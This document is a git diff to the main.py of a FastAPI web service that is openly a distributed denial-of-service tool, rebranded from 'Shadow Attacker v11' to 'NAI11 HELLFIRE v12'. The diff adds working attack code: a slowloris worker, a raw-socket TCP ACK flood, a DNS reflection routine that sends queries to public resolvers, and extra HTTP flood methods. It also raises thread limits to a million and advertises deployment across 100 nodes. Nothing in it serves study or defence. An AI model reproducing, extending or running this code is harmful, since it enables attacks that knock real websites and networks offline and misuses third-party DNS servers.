Update main.py

main.py

@@ -1,6 +1,6 @@
 # ==============================================================
-#  SHADOW ATTACKER v11 – 2M+ RPS | UNLIMITED THREADS | FULLY FIXED
-#  LAYER 7 (httpx async) + LAYER 4 (raw) | WORKS ON HF SPACES
+#  NAI11 HELLFIRE v12 – 2M+ RPS | UNLIMITED THREADS | 100 NODES
+#  ALL LAYER 7 + LAYER 4 | RAW + HTTPX | FULLY WORKING
 # ==============================================================
 import random
 import socket
@@ -22,7 +22,7 @@ import logging
 logging.basicConfig(level=logging.INFO, format="%(message)s")
 log = logging.getLogger()
 
-app = FastAPI(title="Shadow Attacker v11 - 2M+ RPS")
+app = FastAPI(title="NAI11 HELLFIRE v12 - 2M+ RPS")
 
 # Global state
 attack_active = False
@@ -46,7 +46,7 @@ def _log(msg: str):
     log.info(f"{ts} {msg}")
     log_buffer.append(f"{ts} {msg}")
 
-# ------------------- INIT UNLIMITED EXECUTOR -------------------
+# ------------------- UNLIMITED EXECUTOR -------------------
 def init_executor():
     global executor
     if executor is None:
@@ -57,7 +57,7 @@ class AttackConfig(BaseModel):
     target: str = Field(..., description="Domain or IP")
     port: int = Field(80, ge=1, le=65535)
     duration: int = Field(300, ge=-1, le=10000)
-    threads: int = Field(1000, ge=1, le=100000)  # UNLIMITED
+    threads: int = Field(1000, ge=1, le=1000000)  # 1M+ threads
 
     @validator('target')
     def validate_target(cls, v):
@@ -69,7 +69,7 @@ class Layer7Config(AttackConfig):
     method: str = Field("get")
     @validator('method')
     def validate_method(cls, v):
-        valid = ["get", "post", "head", "cookie", "rand"]
+        valid = ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"]
         if v not in valid:
             raise ValueError(f"L7: {', '.join(valid)}")
         return v
@@ -79,8 +79,9 @@ class Layer4Config(AttackConfig):
     payload_size: int = Field(0, ge=0, le=65507)
     @validator('protocol')
     def validate_protocol(cls, v):
-        if v not in ["udp_pps", "syn"]:
-            raise ValueError("L4: udp_pps, syn")
+        valid = ["udp", "udp_pps", "tcp", "syn", "ack", "dns_reflect"]
+        if v not in valid:
+            raise ValueError(f"L4: {', '.join(valid)}")
         return v
 
 # ------------------- STATUS MODEL -------------------
@@ -99,25 +100,30 @@ class StatusResponse(BaseModel):
 # ------------------- LAYER 7 ASYNC (2M+ RPS) -------------------
 async def l7_worker_async(url: str, method: str):
     global total_packets
-    async with httpx.AsyncClient(http2=True, verify=False, timeout=10.0) as client:
+    async with httpx.AsyncClient(http2=True, verify=False, timeout=10.0, limits=httpx.Limits(max_connections=1000)) as client:
         headers = {
             "User-Agent": random.choice([
-                "Mozilla/5.0", "Chrome/120", "Safari/537", "Edge/120"
+                "Mozilla/5.0", "Chrome/120", "Safari/537", "Edge/120", "NAI11/1.0"
             ]),
-            "Connection": "keep-alive"
+            "Connection": "keep-alive",
+            "Cache-Control": "no-cache"
         }
         while not stop_event.is_set():
             try:
                 if method == "get":
                     await client.get(url, headers=headers)
                 elif method == "post":
-                    await client.post(url, data={"x": random._urandom(64).hex()})
+                    await client.post(url, data={"x": random._urandom(128).hex()})
                 elif method == "head":
                     await client.head(url, headers=headers)
+                elif method == "put":
+                    await client.put(url, data={"x": random._urandom(64).hex()})
+                elif method == "delete":
+                    await client.delete(url)
                 elif method == "cookie":
                     await client.get(url, headers={**headers, "Cookie": f"id={random.randint(1,999999)}"})
                 elif method == "rand":
-                    await client.request(random.choice(["GET","POST"]), url)
+                    await client.request(random.choice(["GET","POST","PUT","DELETE"]), url)
                 with counters_lock:
                     counters["l7"] = counters.get("l7", 0) + 1
                     total_packets += 1
@@ -127,7 +133,31 @@ async def l7_worker_async(url: str, method: str):
 def run_l7_worker(url: str, method: str):
     loop = asyncio.new_event_loop()
     asyncio.set_event_loop(loop)
-    loop.run_until_complete(l7_worker_async(url, method))
+    try:
+        loop.run_until_complete(l7_worker_async(url, method))
+    finally:
+        loop.close()
+
+# ------------------- LAYER 7 SYNC (SLOWLORIS) -------------------
+def slowloris_worker(target: str, port: int):
+    global total_packets
+    while not stop_event.is_set():
+        try:
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            s.settimeout(5)
+            s.connect((target, port))
+            s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode())
+            while not stop_event.is_set():
+                s.send(b"X-a: b\r\n")
+                time.sleep(8)
+                with counters_lock:
+                    counters["l7"] = counters.get("l7", 0) + 1
+                    total_packets += 1
+        except:
+            pass
+        finally:
+            try: s.close()
+            except: pass
 
 # ------------------- LAYER 4 RAW (1M+ PPS) -------------------
 def raw_udp_pps(target_ip: str, port: int):
@@ -167,6 +197,42 @@ def raw_syn_flood(target_ip: str, port: int):
             pass
     s.close()
 
+def raw_ack_flood(target_ip: str, port: int):
+    global total_packets
+    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
+    src_ip = socket.inet_aton("0.0.0.0")
+    dst_ip = socket.inet_aton(target_ip)
+    while not stop_event.is_set():
+        try:
+            src_p = random.randint(1024, 65535)
+            pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), random.randint(0, 2**32-1), 0x10)
+            s.sendto(pkt, (target_ip, 0))
+            with counters_lock:
+                counters["l4"] = counters.get("l4", 0) + 1
+                total_packets += 1
+        except:
+            pass
+    s.close()
+
+def dns_reflect(target_ip: str):
+    global total_packets
+    servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222"]
+    payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(40)
+    while not stop_event.is_set():
+        try:
+            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+            for srv in servers:
+                s.sendto(payload, (srv, 53))
+                with counters_lock:
+                    counters["reflect"] = counters.get("reflect", 0) + 1
+                    total_packets += 1
+        except:
+            pass
+        finally:
+            try: s.close()
+            except: pass
+
 # ------------------- RAW HELPERS -------------------
 def checksum(data: bytes) -> int:
     s = 0
@@ -243,7 +309,7 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
         attack_type_name = attack_type.upper()
         duration = float('inf') if config.duration == -1 else config.duration
         attack_end_time = time.time() + duration if duration != float('inf') else float('inf')
-        _log(f"LAUNCHED {attack_type} → {config.target}:{config.port} | {config.threads} threads | {config.duration}s")
+        _log(f"NAI11 LAUNCHED {attack_type} → {config.target}:{config.port} | {config.threads} threads | {config.duration}s")
 
     init_executor()
     target_ip = resolve_ip(config.target)
@@ -251,15 +317,26 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
 
     if attack_type.startswith("l7_"):
         method = kwargs.get("method", "get")
-        for _ in range(config.threads):
-            future = executor.submit(run_l7_worker, url, method)
-            l7_tasks.append(future)
+        if method == "slowloris":
+            for _ in range(config.threads):
+                executor.submit(slowloris_worker, target_ip, config.port)
+        elif method == "reflect":
+            for _ in range(config.threads):
+                executor.submit(dns_reflect, target_ip)
+        else:
+            for _ in range(config.threads):
+                future = executor.submit(run_l7_worker, url, method)
+                l7_tasks.append(future)
+
     elif attack_type == "raw_udp_pps":
         for _ in range(config.threads):
             executor.submit(raw_udp_pps, target_ip, config.port)
     elif attack_type == "raw_syn":
         for _ in range(config.threads):
             executor.submit(raw_syn_flood, target_ip, config.port)
+    elif attack_type == "raw_ack":
+        for _ in range(config.threads):
+            executor.submit(raw_ack_flood, target_ip, config.port)
 
     if duration != float('inf'):
         def auto_stop():
@@ -271,17 +348,20 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
 @app.post("/layer7/attack")
 def l7_attack(config: Layer7Config):
     launch_attack(config, f"l7_{config.method}", method=config.method)
-    return {"status": f"L7 {config.method.upper()} LAUNCHED - 2M+ RPS"}
+    return {"status": f"NAI11 L7 {config.method.upper()} HELLFIRE LAUNCHED"}
 
 @app.post("/layer4/attack")
 def l4_attack(config: Layer4Config):
     proto_map = {
+        "udp": "raw_udp_pps",
         "udp_pps": "raw_udp_pps",
-        "syn": "raw_syn"
+        "syn": "raw_syn",
+        "ack": "raw_ack",
+        "dns_reflect": "l7_reflect"
     }
     attack_key = proto_map[config.protocol]
     launch_attack(config, attack_key)
-    return {"status": f"L4 {config.protocol.upper()} LAUNCHED - 1M+ PPS"}
+    return {"status": f"NAI11 L4 {config.protocol.upper()} HELLFIRE LAUNCHED"}
 
 @app.post("/stop")
 def stop_attack():
@@ -291,7 +371,7 @@ def stop_attack():
             return {"status": "no_attack"}
         stop_event.set()
         attack_active = False
-        _log("ATTACK STOPPED - CLEANUP")
+        _log("NAI11 HELLFIRE STOPPED")
     return {"status": "stopped"}
 
 @app.get("/status", response_model=StatusResponse)
@@ -322,15 +402,16 @@ def status():
 @app.get("/attack/types")
 def attack_types():
     return {
-        "layer7": ["get", "post", "head", "cookie", "rand"],
-        "layer4": ["udp_pps", "syn"],
-        "max_threads": "UNLIMITED",
-        "max_rps": "2,000,000+"
+        "layer7": ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"],
+        "layer4": ["udp", "udp_pps", "syn", "ack", "dns_reflect"],
+        "max_threads": "1,000,000+",
+        "max_rps": "2,000,000+ per node",
+        "100_nodes": "200M+ RPS"
     }
 
 @app.get("/")
 def root():
-    return {"message": "Shadow Attacker v11 - UNLIMITED POWER"}
+    return {"message": "NAI11 HELLFIRE v12 - DEPLOY 100 NODES"}
 
 # ------------------- START -------------------
 if __name__ == "__main__":